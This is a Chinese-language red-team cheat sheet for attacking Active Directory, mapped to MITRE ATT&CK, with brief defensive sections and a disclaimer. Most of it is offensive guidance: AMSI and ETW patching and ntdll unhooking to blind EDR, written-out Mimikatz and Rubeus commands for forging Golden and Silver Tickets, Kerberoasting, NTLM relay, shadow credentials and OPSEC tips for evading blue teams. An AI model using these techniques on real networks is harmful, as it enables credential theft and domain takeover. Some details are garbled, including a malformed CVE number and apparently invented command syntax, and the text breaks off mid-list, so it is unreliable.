解决方案主要依靠两个遥测流:**AMSI** 用于基于内存的脚本分析和 **ETW** 用于监控敏感 API 调用(如针对 `lsass.exe` 的 `OpenProcess`)。为了在未被检测到的情况下运行,在执行恶意代码之前定位进程的内存空间以“绑定”这些传感器。 ### 中和反恶意软件扫描接口 (AMSI) AMSI 充当应用程序(如 PowerShell 或 Office 宏)和驻留防病毒软件之间的桥梁。它在执行之前扫描内存中的内容,使传统的基于文件的混淆无效。 * **内存修补 (`AmsiScanBuffer`): * **技术**:使用反射在当前进程内存中的 `amsi.dll` 中定位 `AmsiScanBuffer` 函数。 * **利用**:通过用特定的汇编指令(例如,`ret` 或 `0xCB`)覆盖函数的开头,强制函数立即退出。 * **结果**:函数返回一个恒定的“`AMSI_RESULT_CLEAN`”值,导致大多数 EDR 忽略加载到该特定会话中的任何后续恶意脚本。 * **高级混淆**: * **技术**:使用 Chimera 或 `Invoke-Obfuscation` 等框架以编程方式更改脚本结构。 * **利用**:这包括拆分字符串、在 PowerShell 中使用反引号或在运行时动态构建命令字符串。 * **结果**:这绕过了 AMSI 已知用于识别已知恶意代码块的特征触发器和简单模式匹配。 ### 致盲 Windows 的事件跟踪 (ETW) ETW 是内核级日志记录机制,为 EDR 提供系统活动的“实况解说”,包括网络连接和进程注入。 * **ETW 内存修补**: * **技术**:与 AMSI 修补类似,您定位 `ntdll.dll`,特别是 `EtwEventWrite` 或 `EtwEventWriteFull` 函数。 * **利用**:用 `ret` 指令修补这些函数可防止进程向 OS 事件缓冲区发送遥测数据包。 * **结果**:EDR 对进程的操作(如可疑的 API 调用或跨进程内存调整)保持“盲目”。 * **动态 DLL 取消挂钩**: * **技术**:EDR 经常通过在合法 API 的开头插入跳转指令以将它们重定向到 EDR 检查引擎来挂钩 `ntdll.dll` 中的函数。 * **漏洞利用**:像 `LdrBuiltin` 或 SharpBlock 这样的工具直接从磁盘将 `ntdll.dll` 的全新副本映射到内存中,覆盖被 Hook 的版本。 * **结果**:通过使用未经 Hook 的 DLL 版本,代码直接与内核通信,从而完全绕过 EDR 的拦截逻辑。 ### 检测与防御策略 **组件**:AMSI **规避方法**:`AmsiScanBuffer` Patching(修补) **防御对策**:监控针对 `amsi.dll` 的 `WriteProcessMemory` 调用。
• • •
**组件**:ETW **规避方法**:`EtwEventWrite` Patching(修补) **防御对策**:实施“内核回调(Kernel Callbacks)”以独立于 ETW 监控进程行为。
• • •
**组件**:EDR Hooks **规避方法**:DLL Unhooking(解除 Hook) **防御对策**:使用“模块加载”监控来检测内存中 `ntdll.dll` 的异常版本。
🔸
🔸
🔸
🔸
该映射包括:
* **工具集**:用于 AD 利用的重要软件。
* **执行**:用于快速部署的精确命令行语法。
* **技巧**:关于进攻性工具的专业技巧、最佳实践和常见陷阱。
* **规避**:经证实可绕过蓝队防御和安全控制的策略。
🔸专注于可操作的威胁情报。最适合红队、进攻性安全专业人员、渗透测试人员、道德黑客、紫队、漏洞专家和网络安全专业人员。
🔸本资源提供可操作的威胁情报,专为希望加固或利用 AD 环境的红队、渗透测试人员、道德黑客和紫队从业者量身定制。
## 免责声明
```
+------------------------------------------------------------------------------------------------+
| ⚠️ EDUCATIONAL USE ONLY ⚠️ |
| |
| This repository is intended strictly for educational purposes, designed to assist |
| security professionals, researchers, and thical hackers in understanding attacker |
| tactics, techniques, and procedures (TTPs) to strengthen defensive strategies. |
| **The authors are not liable for any misuse of this information.**Misuse or abuse |
| of the material(s) provided herein against degital devices or networks for which |
| you do not explicitly own or do not have explicit written authorization (permission) |
| from device and/or network owners may result in legal action. |
+------------------------------------------------------------------------------------------------+
```
## 目录
* [凭据访问 (TA0006)](#credential-access)
* [横向移动 (TA0008)](#lateral-movement)
* [持久化 (TA0003)](#persistence)
* [权限提升 (TA0004)](#privilege-escalation)
* [可操作的缓解与防御策略](#actionable-mitigation-and-defense-strategies)
* [监控(检测)](#monitoring-detection)
* [进攻性安全最佳实践与蓝队建议](#offensive-security-best-practices-and-blue-team-advice)
* [核心 Active Directory TTPs](#core-active-directory-ttps)
* [发现](#discovery)
* [横向移动与持久化](#lateral-movement-and-persistence)
* [Active Directory CS (证书服务)](#active-directory-cs-certificate-services)
* [委托与关系攻击](#delegation-and-relationship-attacks)
* [操作与模拟](#manipulation-and-impersonation)
* [网络与协议攻击(内网)](#network-and-protocol-attacks-in-network)
* [红队执行:通往域管理员之路](#red-team-execution-path-to-domain-admin)
* [规避与工具命令语法技术深度解析](#technical-deep-dive-into-evasion-and-tool-command-syntax)
为了简化和清晰起见,术语“个人”将根据上下文用于表示攻击者和防御者。
# 凭据访问 [(TA0006)](https://attack.mitre.org/tactics/TA0006/)
* **操作系统凭据转储** [(T1003)](https://attack.mitre.org/techniques/T1003/003/):操作系统凭据转储是个人从初始系统访问过渡到完全网络妥协的主要方法(如果不是唯一的方法)。通过窃取存储在操作系统内存或数据库中的密码哈希或明文凭据,个人可以提升权限并在环境中横向移动。此技术常被勒索软件团伙和 APT 组织使用。**🔸TL;DR**:如 LSASS 内存转储、`ntds.dit` 窃取和 SAM 配置单元转储等技术,用于获取 NTLM 哈希或明文密码。🔸
* **窃取或伪造身份验证证书 [(T1649)](https://attack.mitre.org/techniques/T1649/)**:窃取或伪造身份验证证书是一项关键的 MITRE ATT&CK® 技术,专注于滥用 Active Directory 证书服务 (AD CS) 来获取未经授权的访问。由于 AD CS 启用了基于证书的身份验证(使用证书代替密码),破坏证书基础架构允许个人绕过传统的基于密码的安全控制,建立长期持久性,并将权限提升到最高级别(例如,域管理员)。
**🔸TL;DR**:滥用 AD 证书服务 (AD CS) 以实现持久化或权限提升。🔸 # 凭据访问工具 ## Mimikatz * Mimikatz 是一个功能强大的开源后渗透工具,旨在直接从 Windows 内存(LSASS 进程)中提取明文密码、哈希、PIN 和 Kerberos 票据。它主要供个人用于提升权限、通过网络横向移动,以及通过传递哈希和黄金票据攻击等技术建立持久访问。 ## Mimikatz 的关键功能和特性 * **凭据转储 (`sekurlsa`)**:从内存中提取凭据,包括明文用户密码、NTLM 哈希和 Kerberos 票据。 * **传递哈希**:使用窃取的 NTLM 哈希以用户身份进行身份验证,而无需原始密码。 * **传递票据/黄金票据**:生成伪造的 Kerberos 票据以获得未经授权的域访问权限并模拟任何用户,通常无限期有效。 * **权限提升**:将低级用户访问权限提升到管理员或 `SYSTEM` 级权限。 * **证书导出**:从 Windows 证书存储中导出证书和私钥,即使标记为不可导出。 * **无文件执行**:通常通过 PowerShell 或类似方法在内存中执行,以避免磁盘检测。 * **Dumpert**:[Dumpert](https://github.com/outflanknl/dumpert) 是一个开源的专业安全工具,旨在为 Windows 操作系统上的本地安全权威子系统服务 (LSASS) 进程创建内存转储。它主要用于红队演习和渗透测试,以窃取凭据(如密码哈希和 Kerberos 票据),同时避免被防病毒 (AV) 和端点检测与响应 (EDR) 解决方案检测。 ## Mimikatz 关键功能和能力 * **LSASS 内存转储**:它提取 `lsass.exe` 的内存,其中存储了敏感的用户凭据,并将它们保存到 `.dmp` 文件中。 * **AV/EDR 规避**:与标准工具(如 [Sysinternals ProcDump](https://learn.microsoft.com/en-us/sysinternals/downloads/procdump) 或 Mimikatz)不同,Dumpert 避免使用被安全软件大量监控的常见 Windows API 函数。 * **直接系统调用 [(Syscalls)](https://github.com/j00ru/windows-syscalls)**:它通过直接向内核执行系统调用来绕过用户模式挂钩,使得安全产品难以检测该活动。 * **API 取消挂钩**:该工具取消挂钩 API 函数以进一步掩盖其活动。 * **无文件操作 (sRDI)**:它提供一个 sRDI(shellcode 反射式 DLL 注入)版本,允许通过 [Cobalt Strike](https://github.com/cobalt-strike) 直接注入到内存中,从而避免将文件写入磁盘。 ## Mimikatz 使用上下文 * **凭据窃取**:一旦创建了 `lsass.dmp` 文件,不仅可以使用 Mimikatz 对其进行离线分析,其他凭据访问工具变体(如 [Pypykatz](https://github.com/skelsec/pypykatz))也可以用来提取明文密码和哈希。 * **横向移动**:窃取的凭据使个人能够跨网络横向移动。 # 后渗透 Active Directory (AD) 中的后渗透是指前攻击阶段,其中个人已经获得了初步立足点(例如,标准用户的凭据或受损的工作站),现在正致力于扩大其影响力、提升权限并在域内实现其最终目标。在扁平网络中,后渗透是“着陆”和完全控制整个企业之间的桥梁。 ## 后渗透的主要目标 ## 权限提升 * 从标准用户移动到高权限帐户(域管理员,企业管理员)。 ## 横向移动 * 从最初受损的机器跳转到其他服务器或工作站,以寻找更敏感的数据宝库。 ## 持久化 * 确保个人即使初始入口点被关闭、阻止或用户更改密码也能重新进入网络。 ## 数据渗出 * 定位并窃取知识产权、财务记录或 PII(个人身份信息)。 ## 域控制 * 达到一种个人“即”网络的状态(例如,控制域控制器)。 ## 常见后渗透技术 ## 1. 枚举(绘制地形图) * 个人需要了解 AD 结构以精确定位目标。 * **BloodHound/SharpHound**:绘制隐藏的权限关系和通往域管理员的攻击路径。 * **PowerView**:搜索“高价值”目标,例如登录了域管理员的计算机。 * **AD Explorer**:查看整个 AD 数据库以查找包含密码的描述或属性。 ## 2. 凭据收集(“王国的钥匙”) 一旦在机器上,个人就会寻找存储的机密。 * **LSASS 转储**:使用 Mimikatz 等工具从内存中提取明文密码或 NTLM 哈希。 * **SAM 数据库**:从注册表中提取本地管理员密码。 * **DCSync (T1003.006)**:模拟域控制器以请求任何用户(包括 `krbtgt` 帐户)的密码哈希。 ## 3. 横向移动(在域中导航) 使用合法的管理工具在网络中移动。 * **传递哈希**:使用 NTLM 哈希进行身份验证,而无需知道受损帐户的明文密码。 * **传递票据**:使用窃取的 Kerberos 服务票据 (TGT) 来访问资源。 * **远程执行**:使用 `PsExec`、WMI 或 WinRM (Windows 远程管理) 在远程服务器上运行命令。 ## 4. 持久化(暂时停留) 确保在重启和密码重置后仍能长期访问。 * **黄金票据**:伪造 Kerberos 票据授予票据 (TGT),可以授予对资源的访问权限长达数年。 * **白银票据**:伪造特定服务(如 CIFS 或 LDAP)的服务票据。 * **万能钥匙**:在控制器的内存中注入一个对所有用户都有效的“主密码”。 ## 后渗透阶段 **阶段**:发现 **操作**:查找域管理员登录的位置。 **工具示例**:`Invoke-UserHunter` **阶段**:凭据访问 **操作**:从本地内存中拉取哈希。 **工具示例**:`Mimikatz` **阶段**:横向移动 **操作**:使用窃取的哈希远程登录到文件服务器。 **工具示例**:`CrackMapExec` **阶段**:控制 **操作**:重置 `krbtgt` 密码并创建黄金票据。 **工具示例**:`Rubeus` ## 如何阻止后渗透 * **分层管理模型**:确保域管理员从不登录其凭据可能被窃取的标准工作站。 * **LAPS (本地管理员密码解决方案)**:为每台机器提供唯一的、随机的本地管理员密码。 * **端点检测与响应 (EDR)**:监控可疑活动,如 LSASS 内存转储或未经授权的 WMI 调用。 * **特权访问管理 (PAM)**:使用“实时 (Just-In-Time)”管理来减少个人的机会窗口。 ## 使用的工具 ## Impacket (`secretsdump`) * Impacket 的 `secretsdump.py` 是一个功能强大的开源 Python 脚本,用于在不在目标机器上安装代理的情况下,从 Windows 系统远程或本地提取敏感机密(如用户密码哈希和凭据)。它被渗透测试人员广泛用于安全审计,也被个人用于横向移动和权限提升。 ## `secretsdump.py` 的核心功能 ## 下面的脚本是 **Impacket** 工具包的一部分,通常用于 **TA0004(权限提升)** 进行凭据转储和域分析。 ### **1. SAM 和 LSA 机密提取** 此技术从本地计算机(例如,域控制器或受损主机)中提取 **NTLM 哈希、明文密码和缓存的域凭据**。 ``` # 示例:从目标机器提取 SAM 和 LSA secrets(需要本地管理员权限) secretsdump.py -u Administrator -p "
* **🔸TL;DR**:伪造 Kerberos 票据授予票据 (TGT) 以维持域管理员访问权限。 ### 工具 * Mimikatz * **用于**:黄金票据(用于域范围访问的 Kerberos TGT) ``` # 步骤 1:获取 krbtgt 哈希(需要 SYSTEM 权限) mimikatz.exe "lsa::dump /domain" # 步骤 2:创建 Golden Ticket(使用 krbtgt 哈希) mimikatz.exe "kerberos::golden /domain:example.com /user:Administrator /id:500 /password:Secretpass123 /sid:S-1-5-21-... /target:target.com /ticket:golden_ticket.kirbi" # 步骤 3:将 Golden Ticket 加载到内存中 mimikatz.exe "kerberos::ptt golden_ticket.kirbi" # 步骤 4:使用票据访问资源(例如,以 Administrator 身份登录) mimikatz.exe "ts::login /user:Administrator /domain:example.com" ``` ### 工具 * Mimikatz * **用于**:白银票据(用于约束委派的 Kerberos 服务票据) ``` # 步骤 1:获取服务账户哈希(例如,从 lsass 或 Kerberos 票据) mimikatz.exe "sekurlsa::hashes /process" # 步骤 2:创建 Silver Ticket(使用服务账户哈希) mimikatz.exe "kerberos::silver /service:HTTP/target.com /user:serviceAccount /password:Secretpass123 /domain:example.com /dc:domain.com" # 步骤 3:将 Silver Ticket 加载到内存中 mimikatz.exe "kerberos::ptt silver_ticket.kirbi" # 步骤 4:使用票据访问服务(例如,HTTP) mimikatz.exe "ts::login /user:serviceAccount /domain:example.com" ``` ### 工具 * Rubeus - 黄金和白银票据 * **用于**:黄金票据(Kerberos TGT)攻击,以已知增强弱点 ``` # 步骤 1:请求 Golden Ticket(使用域凭据) Rubeus.exe golden /user:Administrator /password:Secretpass123 /domain:example.com /sid:S-1-5-21-... /target:target.com # 步骤 2:使用 Golden Ticket 模拟用户 Rubeus.exe ptt /ticket:golden_ticket.kirbi # 步骤 3:使用模拟的票据访问资源 Rubeus.exe kerberos::ticket /ticket:golden_ticket.kirbi /s:target.com ``` ### 工具 * Rubeus * **用于**:白银票据(Kerberos 服务票据)攻击 ``` # 步骤 1:请求 Silver Ticket(使用服务账户凭据) Rubeus.exe silver /service:HTTP/target.com /user:serviceAccount /password:Secretpass123 /domain:example.com /dc:domain.com # 步骤 2:使用 Silver Ticket 访问服务 Rubeus.exe ptt /ticket:silver_ticket.kirbi # 步骤 3:使用票据访问服务(例如,HTTP) Rubeus.exe kerberos::ticket /ticket:silver_ticket.kirbi /s:target.com ``` ### 工具 * PowerView - 用于票据攻击的枚举 * **用于**:黄金票据(识别模拟目标) ``` # 步骤 1:枚举域用户(包括管理员) Import-Module PowerView Get-User -Domain example.com | Where-Object { $_.UserAccountControl -band 16777216 } # 步骤 2:查找服务账户或 SPN 以作为 Silver Ticket 目标 Get-SPN -Domain example.com | Select-Object -ExpandProperty SPN ``` ### 工具 * PowerView * **用于**:白银票据(识别服务目标) ``` # 步骤 1:枚举域中所有服务 (SPN) Get-SPN -Domain example.com # 步骤 2:查找具有特定权限的用户(例如,用于 Golden Ticket) Get-ADObject -Filter {objectClass -eq "user"} -Properties * | Where-Object { $_.userAccountControl -band 16777216 } ``` ## 权限提升 [(TA0004)](https://attack.mitre.org/techniques/TA0004/) * **滥用提升控制机制 (T1548)**:利用 UAC 绕过、令牌操作或错误配置的访问控制列表 (ACL)。 ### 工具 * PowerUp * BloodHound ## 可操作的缓解和防御策略 ### 加固(预防) * **禁用旧协议**:禁用 SMBv1、LLMNR 并限制 NTLMv1。 * **凭据保护**:实现凭据保护、LAPS(本地管理员密码解决方案)用于本地管理员帐户。 * **分层管理**:实施分层管理员模型以限制高权限帐户访问低层工作站。 * **AD CS 安全**:审计并加固 AD 证书服务以防止伪造。 ## 监控(检测) * **SIEM/审计日志**:监控事件 ID 4624(成功登录)、4688(进程创建)和 4720-4730(用户/组管理)。 * **检测规则**:为 `ntds.dit` 文件访问、异常服务创建(`PsExec`)和敏感组成员身份修改(例如,域管理员)创建警报。 * **模拟**:使用 Caldera 或 Infection Monkey 等工具模拟 DCSync (T1003.006) 等技术以测试检测有效性。 ## 进攻性安全最佳实践和蓝队建议 ### 工具的“要”和“不要” * **要**:使用合法的管理工具(Living off the Land)以避免特征检测(例如,PowerShell、WMI)。 * **不要**:在不重命名或混淆可执行文件的情况下运行 Mimikatz 等工具,因为它具有高度特征。 ### 避免蓝队障碍: * **操作安全 (OPSEC)**:避免嘈杂的扫描。使用特定收集方法的 SharpHound,而不是 All。 * **Living off the Land**:使用 `net.exe`、`dsquery` 或本机 PowerShell cmdlet 以减少取证足迹。 * **有针对性的枚举**:使用 BloodHound 识别通往域管理员的最短、噪音最小的攻击路径,而不是尝试攻击每个对象。 ## 核心 Active Directory TTPs Active Directory 攻击通常跨越四个主要策略:凭据访问、发现、横向移动和持久化。 ### 凭据访问 * **Kerberoasting [(T1558.003)](https://attack.mitre.org/techniques/T1558/003/)**:请求服务帐户的服务票据 (TGS) 并离线破解它们。 * **AS-REP Roasting [(T1558.004)](https://attack.mitre.org/techniques/T1558/004/)**:针对启用了“不要要求 Kerberos 预身份验证”的帐户以破解其密码。 * **`NTDS.dit` 转储 [(T1003.003)](https://attack.mitre.org/techniques/T1003/003/)**:从域控制器窃取主要的 AD 数据库文件以提取所有用户哈希。 * **传递哈希 [(T1550.002)](https://attack.mitre.org/techniques/T1550/002/)**:使用捕获的 NTLM 哈希进行身份验证,而无需明文密码。 * **传递票据 [(T1550.003)](https://attack.mitre.org/techniques/T1550/003/)**:使用捕获的 Kerberos 票据 (TGT/TGS) 在域中移动。 ## 发现 * **域信任发现 [(T1482)](https://attack.mitre.org/techniques/T1482/)**:使用 AdFind 或 BloodHound 等工具映射域和林之间的关系。 * **帐户发现 [(T1087.002)](https://attack.mitre.org/techniques/T1087/002/)**:通过 LDAP 查询或 `net user /domain` 等本机工具枚举域帐户。 * **权限组发现 [(T1069.002)](https://attack.mitre.org/techniques/T069/002/)**:识别高价值组,如域管理员或企业管理员。 * **域控制器发现 [(T1018)](https://attack.mitre.org/techniques/T1018/)**:通过 DNS 或 `nltest` 定位域控制器。 ## 横向移动与持久化 * **黄金票据 [(T1558.001)](https://attack.mitre.org/techniques/T1558/001/)**:使用 `krbtgt` 帐户哈希伪造票据授予票据 (TGT) 以获得永久域范围访问权限。 * **白银票据 [(T1558.002)](https://attack.mitre.org/techniques/T1558/002/)**:伪造服务票据以获得对特定服务(例如,MSSQL、CIFS)的未经授权访问。 * **DCShadow [(T1207)](https://attack.mitre.org/techniques/T1207/)**:注册恶意域控制器以注入恶意对象或更改权限。 * **DCSync [(T1003.006)](https://attack.mitre.org/techniques/T1003/006/)**:模拟域控制器以通过复制协议从另一个 DC 请求帐户哈希。 ## Active Directory CS (证书服务) 利用 AD CS 目前是从标准用户提升到域管理员的最有效方法之一。 * **ADCS ESC1/ESC2/ESC3 [(T1649)](https://attack.mitre.org/techniques/T1649/)**:错误配置的证书模板。 使用低权限帐户为高权限用户(如域管理员)请求证书。 * **AD CS ESC8 [(T1557.001)](https://attack.mitre.org/techniques/T1557/001/)**:NTLM 中继到 HTTP 注册选项。 强制域控制器向攻击者机器进行身份验证,然后将其中继到 AD CS Web 接口以获取 DC 证书。 * **证书窃取 [(T1552.004)](https://attack.mitre.org/techniques/T1552/004/)**:从用户存储导出私钥和证书以绕过 MFA 或模拟身份。 ## 委托与关系攻击 Active Directory (AD) 委托和关系攻击利用 Windows 域环境中的固有信任、错误配置和合法功能(也称为 Living Off The Land (LOTL))来提升权限、横向移动和转移。**委托攻击**利用服务模拟用户以访问其他服务的能力,而**关系攻击**利用 AD 域中对象(用户、组、计算机)之间过多或意外的访问控制列表 (ACL) 权限。 ### 非约束委派 [(T1558)](https://attack.mitre.org/techniques/T1558/) 当受损服务器允许个人拦截连接到它的高权限用户的票据授予票据 (TGT) 时,就会发生非约束委派。一旦 TGT 存储在内存 (LSASS) 中,就可以将其提取并立即用于模拟或带离线破解,从而提供通往完全域妥协的直接路径。 ### 约束委派 [(T1558.003)](https://attack.mitre.org/techniques/T1558/003) 约束委派利用 `msDS-AllowedToDelegateTo` 属性,该属性指定服务帐户可以模拟用户访问的后端服务。通过损害具有此权限的帐户,个人可以利用服务对用户 (S4U) 扩展为任何用户(包括高权限管理员)生成有效的服务票据,而无需其交互,从而授予对受限目标服务的未经授权访问。 ### 基于资源的约束委派 (RBCD) [(T1558)](https://attack.mitre.org/techniques/T1558/) 将目标计算机的 `msDS-AllowedToActOnBehalfOfOtherIdentity` 属性配置为允许攻击者控制的计算机模拟用户访问它。 * **组策略对象 (GPO) 滥用 [(T1484.001)](https://attack.mitre.org/techniques/T1484.001/) 组策略对象 (GPO) 滥用利用对 GPO 的未经授权的写入访问权限,以跨域加入的系统部署恶意配置。通过修改高影响设置(例如添加计划任务、通过启动/关机策略推送恶意脚本或将新帐户注入本地管理员组),个人可以实现自动化、大规模的代码执行和对链接的组织单元 (OU) 内所有工作站或服务器的持久管理控制。 ## 操作与模拟 * **SAM 名称欺骗 / NoPac (T1558)**:利用逻辑漏洞 (CVE-2012-42278/42287),其中计算机帐户名称更改为与域控制器匹配,诱骗 KDC 颁发高权限 TGT。 * **ACL/ACE 修改 (T1098)**:向目标对象(如用户或组)添加 `GenericAll` 或 `WriteDacl` 权限以确保长期控制。 * **`AdminSDHolder` (T1098)**:修改 `AdminSDHolder` 容器的权限。AD 每隔 60 分钟自动将这些权限传播到受保护的组(如域管理员)。 ## 网络与协议攻击(内网) * **LLMNR/NBT-NS 投毒 (T1557.001)**:使用 Responder 等工具欺骗名称解析响应并从网络捕获 NTLMv2 哈希。 * **IPv6 DNS 接管 / `mitm6` (T1557.001)**:充当恶意 IPv6 DNS 服务器以强制 Windows 机器 WPAD 进行身份验证,从而允许 NTLM 中继。 * **远程服务创建 (T1543.003)**:一旦获得本地管理员权限,使用 `PsExec` 或 `sc.exe` 在远程计算机上创建服务。 ## 红队执行:通往域管理员之路 ### 1. 初始访问和凭据捕获 ### 战术、技术和流程 (TTP): * LLMNR/NBT-NS 投毒 (T1557.001) * 鱼叉式网络钓鱼 (T1566.001) #### 主要工具: * **Responder**:通过协议投毒捕获 NTLMv1/v2 哈希。 * **Inveigh**:Responder 的 PowerShell/C# 版本(更适合仅 Windows 环境)。 * **Evilginx2**:用于 MFA 绕过网络钓鱼。 #### 规避技术: * **首先分析网络流量**:在投毒之前,以“分析”模式 (`-A`) 运行 Responder 以识别噪音。 * **有针对性的投毒**:使用 `-I` 标志定位特定的 IP 范围,而不是定位整个子网,这将触发检测警报。 * **Socket 选择**:使用 `Inveigh` 避免打开 EDR 监控的高风险新端口。 ### 2. 侦察 ### 战术、技术和流程 (TTP): * 域信任/对象发现 (T1482) #### 主要工具: * **BloodHound / SharpHound**:绘制“域管理员六度分隔”。 * **AdFind**:用于特定 LDAP 查询的命令行工具。 * **Snaffler**:在开放共享中查找 AD 中的敏感数据(密码、证书)。 #### 规避技术: * **隐蔽收集**:使用带有 `--collectionmethod DCOnly` 或 `LogonSessions` 的 `SharpHound` 以避免接触每台工作站。 * **慢而稳**:使用 `--throttling` 和 `--jitter` 标志绕过对大量 LDAP 查询的基于行为的检测。 * **不要使用 `.exe`**:通过 C2 (Cobalt Strike 或 Havoc) 中的 `execute-assembly` 在内存反射中运行 SharpHound。 ### 3. 权限提升 ### 战术、技术和流程 (TTP): * Kerberoasting (T1558.003) * AD CS ESC1 (T1649) ### 主要工具: * **Rubeus**:AD Kerberos 交互的行业标准。 * **Certipy / Certify**:用于识别和利用 AD CS 错误配置。 * **Impacket 工具套件的 (`GetUserSPNs.py`)**:用于从 *nix 攻击框进行远程 Kerberoasting。 #### 规避技术: * **有针对性的 Roasting**:**不要 roast 每个 SPN**。仅请求具有高权限关键字(例如,`*adm*`、`*svc*`、`*sql*`)的帐户的票据。 * **加密降级**:如果目标域支持 AES,请避免强制使用弱加密 (RC4),或者仅 RC-4 请求是高保真警报。 * **OPSEC 安全的 AD CS**:使用 `Certify` 查找模板,但除非绝对必要,否则避免使用 `/enforce` 标志,以防止意外锁定或触发警报。 ### 4. 横向移动 ### 战术、技术和流程 (TTP): * Overpass-the-Hash / 传递票据 (PtT) ### 主要工具: * **Mimikatz**:凭据提取和注入的经典工具。 * **Impacket 工具套件 (`wmiexec.py` / `PSExec.py`)**:用于在远程目标上执行命令。 * **Evil-WinRM**:使用捕获的凭据进行远程管理访问。 #### 规避技术: * **避免磁盘上的 Mimikatz**:**始终通过内存运行它**或使用 LSASS 小型转储(例如,通过 `rundll32` 使用 `comsvcs.dll`)以避免特征检测。 * **SMB 上的 WMI**:使用 `wmiexec` 或 `dcomexec` 而不是 `psexec`,因为 `psexec` 创建 EDR 会立即标记的可见服务。 * **SOCKS 代理**:使用 `Chisel` 或 `Ligolo-ng` 通过 C2 代理隧道传输 Impacket 流量,使其看起来像不起眼的本地网络流量。 ### 5. 持久化 ### 战术、技术和流程 (TTP): * 黄金票据 (T1558.001) * GPO 修改 (T1484.001) #### 主要工具: * **Mimikatz (`lsadump::lsa /patch`)**:提取 `krbtgt` 哈希。 * **`SharpGPOAbuse`**:用于向 GPO 添加恶意任务或权限。 * **`PyGPOTools`**:用于远程 GPO 滥用和操作。 #### 规避技术: * **`krbtgt` 轮换**:如果您创建黄金票据,请确保其生命周期很短(例如,10 小时)以匹配正常域策略,并避免触发任何文件不匹配警报。 * **GPO “隐藏”任务**:修改 GPO 时,使用现有的合法 GPO 并添加仅在特定条件下触发的“隐藏”计划任务。 * **DCSync 计时**:运行 `DCSync` 获取 `krbtgt` 哈希时,以已知流量较高的特定 DC 为目标,以与复制和后台“网络噪音”混合。 ### 红队工具快速细分 | 攻击阶段 | 工具 | MITRE ID | | -------- | -------- | -------- | | 初始捕获 | [Responder](https://www.kali.org/tools/responder/), [Inveigh](https://github.com/kevin-robertson/inveigh) | [T1557.001](https://attack.mitre.org/techniques/T1557/001/) | 映射 | [BloodHound](https://www.kali.org/tools/bloodhound)/, [SharpHound](https://github.com/SpecterOps/SharpHound) | [T1482](https://attack.mitre.org/techniques/T1482/) | Kerberos 利用 | [Rubeus](https://www.kali.org/tools/rubeus/), [Impacket](https://www.kali.org/tools/impacket/) | [T1558](https://attack.mitre.org/techniques/T1558/) | AD CS 利用 | [Certipy](https://github.com/ly4k/Certipy), [Certify](https://github.com/GhostPack/Certify) | [T1649](https://attack.mitre.org/techniques/T1649/) | | 移动 | [Mimikatz](https://www.kali.org/tools/mimikatz/), [WMIexec](https://github.com/XiaoliChan/wmiexec-Pro) | [T1550](https://attack.mitre.org/techniques/T1550/) | | 持久化 | [SharpGPOAbuse](https://github.com/byronkg/SharpGPOAbuse), [Mimikatz](https://www.kali.org/tools/mimikatz/) | [T1484](https://attack.mitre.org/techniques/T1484/) ### 6. 强制身份验证和 NTLM 中继 这些技术允许个人横向移动并提升权限,而无需破解密码或查找明文凭据。 ### 战术、技术和流程 (TTP): * ** adversaries-in-the-Middle (AitM) (T1557.001)**:adversaries-in-the-Middle (AitM) 是 MITRE ATT&CK® 框架中的一种特定网络安全子技术,其中个人将自己投毒在用户和合法网络资源之间,以拦截和操作身份验证流量。通过利用弱网络协议 (LLMNR、NBT-NS、mDNS),个人能够诱骗系统向攻击者控制的机器发送身份验证哈希,然后将其中继到其他服务以获得未经授权的访问。 * **利用远程服务 (T1210)**:这涉及强制高权限机器(如域控制器)向您进行身份验证,然后将该会话“中继”到目标(如 AD CS 或敏感的、关键任务服务器)。 ### 主要工具: * **PetitPotam/SpoolSample**:强制计算机帐户通过 MS-EFSR 或打印后台处理程序进行身份验证。 * **Impacket 工具套件 (`ntlmrelayx`)**:捕获身份验证并将其中继到 LDAP、SMB 或 HTTP 的“引擎”。 * **PrinterBug**:专门针对打印系统远程协议以强制身份验证。 ### 规避技术: * **中继到 LDAP/S**:许多 EDR 监控 SMB 中继。将 NTLM 中继到 LDAP(以修改权限)或 AD CS(以获取证书)通常较少受到审查。 * **多中继**:在 `ntlmrelayx` 中使用 `--multi-relay` 以同时在多个目标上维持持久的中继会话。 ### 7. 影子凭据 (Whiteshadow) ### ### 战术、技术和流程 (TTP): * **帐户操作 (T1098)**:如果您对用户或计算机对象拥有“`GenericWrite`”或“`WriteProperty`”权限,您可以向其 `msDS-KeyCredentialLink` 属性添加公钥,然后通过 PKINIT 以其身份进行身份验证。 ### 主要工具: * **Whisker / `pyWhisker`**:专为操作 `msDS-KeyCredentialLink` 属性而设计。 * **Rubeus**:用于执行随后的 PKINIT 身份验证以获取 TGT。 ### 规避技术: * **属性清理**:此技术在对象上留下永久属性。在获得 TGT 后始终立即删除密钥链接,以最大程度地减少取证足迹。 * **定位“死”帐户**:将影子凭据应用于很少使用但具有高权限的帐户,以避免触发“活动会话”警报。 ### 8. 本地权限提升 (LPE) 到域访问 ### ### 战术、技术和流程 (TTP): * **访问令牌操作 (T1134)**:访问令牌操作 (T1134) 是 MITRE ATT&CK® 使用的一种技术,对手通过操纵与进程和线程关联的 Windows 安全令牌来获得对系统的未经授权访问、提升权限并规避安全控制。该技术主要针对 Windows 环境,允许个人更改正在运行的进程的安全上下文,使其看起来像是以不同的用户(例如,管理员或 `NT AUTHORITY\SYSTEM`)身份运行。 * **启动或登录自动启动执行 (T1547)**:启动或登录自动启动执行 (T1547) 是一种 MITRE ATT&CK® 技术,个人配置恶意程序在系统启动或用户登录时自动运行。通过滥用系统启动机制(如注册表项、启动文件夹或 `systemd`),他们可以实现持久化、权限提升和隐蔽。 ### 主要工具: * **[SharpUp](https://github.com/ghostpack/sharpup) / [Seatbelt](https://github.com/GhostPack/Seatbelt)**:审计本地错误配置(未加引号的服务路径、可修改的二进制文件)。 * **[GodPotato](https://github.com/BeichenDream/GodPotato) / [PetitPotato](https://github.com/wh0amitz/PetitPotato)**:现代“Potato”利用,以从服务帐户提升到 `SYSTEM`。 * **Mimikatz (`sekurlsa::tickets`)**:用于“收集”当前或先前登录到机器的用户的票据。 #### 规避技术: * **进程注入**:不要将利用作为新进程运行,而是将 LPE 代码注入到受信任的进程(如 `svchost.exe` 或 `spoolsv.exe`)中。 * **令牌模拟**:使用 `incognito`(通过 [Metasploit](https://github.com/rapid7/metasploit-framework)/Cobalt Strike)从内存中窃取令牌,而无需转储 LSASS,这是一个巨大的 EDR 触发器。 ### 9. “黄金 GMSA”攻击 ### ### 战术、技术和流程 (TTP): * 窃取或伪造 Kerberos 票据 (T1558) * 